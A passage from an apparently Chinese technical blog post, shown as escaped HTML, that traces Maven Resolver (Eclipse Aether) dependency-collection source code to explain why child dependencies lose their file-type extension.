class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e);\u003cbr\u003e version = m.group(\u003cspan class=\"hljs-number\"\u003e7\u003c/span\u003e);\u003cbr\u003e file = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.properties = copyProperties(properties);\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可能到这里会想,那就在coords里指明extension不就可以了吗?很遗憾,测试后,你会发现这个根依赖倒是下载了,但是其子依赖仍然无法正确的识别文件类型。\u003c/p\u003e\u003cp\u003e接下来我们从源码的层面分析一下:\u003c/p\u003e\u003cp\u003e首先,根据上文的研究,Collect阶段会进行依赖树的构建,我们以此为入口,分析子依赖的构建过程。需要注意的是interface对应的默认impl类为DefaultXxx,比如RepositorySystem对应的默认impl类为DefaultRepositorySystem。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epackage\u003c/span\u003e org.eclipse.aether.internal.impl;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultRepositorySystem\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositorySystem\u003c/span\u003e, Service \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CollectResult \u003cspan class=\"hljs-title function_\"\u003ecollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, CollectRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e DependencyCollectionException \u0026#123;\u003cbr\u003e validateSession(session);\u003cbr\u003e requireNonNull(request, \u003cspan class=\"hljs-string\"\u003e\u0026quot;request cannot be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e dependencyCollector.collectDependencies(session, request);\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到dependencyCollector.collectDependencies()执行了具体的操作,从dependencyCollector的初始化代码以及DefaultServiceLocator的相关代码,得知默认impl类为org.eclipse.aether.internal.impl.collect.DefaultDependencyCollector,继续往下追踪。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyCollector\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollector\u003c/span\u003e, Service \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CollectResult \u003cspan class=\"hljs-title function_\"\u003ecollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, CollectRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e DependencyCollectionException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edelegateName\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e ConfigUtils.getString(session, DEFAULT_COLLECTOR_IMPL, CONFIG_PROP_COLLECTOR_IMPL);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyCollectorDelegate\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edelegate\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e delegates.get(delegateName);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (delegate == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;Unknown collector impl: \u0026#x27;\u0026quot;\u003c/span\u003e + delegateName + \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026#x27;, known implementations are \u0026quot;\u003c/span\u003e + delegates.keySet());\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e delegate.collectDependencies(session, request);\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好好好,继续套娃操作,看代码知默认是深度优先\u003ccode\u003eorg.eclipse.aether.internal.impl.collect.df.DfDependencyCollector\u003c/code\u003e,并且DependencyCollectorDelegate会利用collectDependencies()包装了DependencyCollector.doCollectDependencies()方法。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eabstract\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectorDelegate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollector\u003c/span\u003e \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003efinal\u003c/span\u003e CollectResult \u003cspan class=\"hljs-title function_\"\u003ecollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, CollectRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e DependencyCollectionException \u0026#123;\u003cbr\u003e requireNonNull(session, \u003cspan class=\"hljs-string\"\u003e\u0026quot;session cannot be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e requireNonNull(request, \u003cspan class=\"hljs-string\"\u003e\u0026quot;request cannot be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e session = optimizeSession(session);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e RequestTrace.newChild(request.getTrace(), request);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eCollectResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eCollectResult\u003c/span\u003e(request);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyTraverser\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edepTraverser\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getDependencyTraverser();\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionFilter\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003everFilter\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e session.getVersionFilter();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eroot\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e request.getRoot();\u003cbr\u003e List\u0026lt;RemoteRepository\u0026gt; repositories = request.getRepositories();\u003cbr\u003e List\u0026lt;Dependency\u0026gt; dependencies = request.getDependencies();\u003cbr\u003e List\u0026lt;Dependency\u0026gt; managedDependencies = request.getManagedDependencies();\u003cbr\u003e\u003cbr\u003e Map\u0026lt;String, Object\u0026gt; stats = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLinkedHashMap\u003c/span\u003e\u0026lt;\u0026gt;();\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003elong\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etime1\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e System.nanoTime();\u003cbr\u003e\u003cbr\u003e DefaultDependencyNode node;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (root != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e List\u0026lt;? \u003cspan class=\"hljs-keyword\"\u003eextends\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersion\u003c/span\u003e\u0026gt; versions;\u003cbr\u003e VersionRangeResult rangeResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRangeRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erangeRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersionRangeRequest\u003c/span\u003e(\u003cbr\u003e root.getArtifact(), request.getRepositories(), request.getRequestContext());\u003cbr\u003e rangeRequest.setTrace(trace);\u003cbr\u003e rangeResult = versionRangeResolver.resolveVersionRange(session, rangeRequest);\u003cbr\u003e versions = filterVersions(root, rangeResult, verFilter, \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultVersionFilterContext\u003c/span\u003e(session));\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (VersionRangeResolutionException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result, e.getMessage());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersion\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversion\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e versions.get(versions.size() - \u003cspan class=\"hljs-number\"\u003e1\u003c/span\u003e);\u003cbr\u003e root = root.setArtifact(root.getArtifact().setVersion(version.toString()));\u003cbr\u003e\u003cbr\u003e ArtifactDescriptorResult descriptorResult; \u003cspan class=\"hljs-comment\"\u003e//关键代码\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactDescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edescriptorRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorRequest\u003c/span\u003e();\u003cbr\u003e descriptorRequest.setArtifact(root.getArtifact());\u003cbr\u003e descriptorRequest.setRepositories(request.getRepositories());\u003cbr\u003e descriptorRequest.setRequestContext(request.getRequestContext());\u003cbr\u003e descriptorRequest.setTrace(trace);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (isLackingDescriptor(root.getArtifact())) \u0026#123;\u003cbr\u003e descriptorResult = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorResult\u003c/span\u003e(descriptorRequest);\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e descriptorResult = descriptorReader.readArtifactDescriptor(session, descriptorRequest);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e (ArtifactDescriptorException e) \u0026#123;\u003cbr\u003e result.addException(e);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollectionException\u003c/span\u003e(result, e.getMessage());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e root = root.setArtifact(descriptorResult.getArtifact());\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!session.isIgnoreArtifactDescriptorRepositories()) \u0026#123;\u003cbr\u003e repositories = remoteRepositoryManager.aggregateRepositories(\u003cbr\u003e session, repositories, descriptorResult.getRepositories(), \u003cspan class=\"hljs-literal\"\u003etrue\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e dependencies = mergeDeps(dependencies, descriptorResult.getDependencies());\u003cbr\u003e managedDependencies = mergeDeps(managedDependencies, descriptorResult.getManagedDependencies());\u003cbr\u003e\u003cbr\u003e node = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyNode\u003c/span\u003e(root);\u003cbr\u003e node.setRequestContext(request.getRequestContext());\u003cbr\u003e node.setRelocations(descriptorResult.getRelocations());\u003cbr\u003e node.setVersionConstraint(rangeResult.getVersionConstraint());\u003cbr\u003e node.setVersion(version);\u003cbr\u003e node.setAliases(descriptorResult.getAliases());\u003cbr\u003e node.setRepositories(request.getRepositories());\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e node = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyNode\u003c/span\u003e(request.getRootArtifact());\u003cbr\u003e node.setRequestContext(request.getRequestContext());\u003cbr\u003e node.setRepositories(request.getRepositories());\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e result.setRoot(node);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eboolean\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etraverse\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e root == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e || depTraverser == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e || depTraverser.traverseDependency(root);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eerrorPath\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan 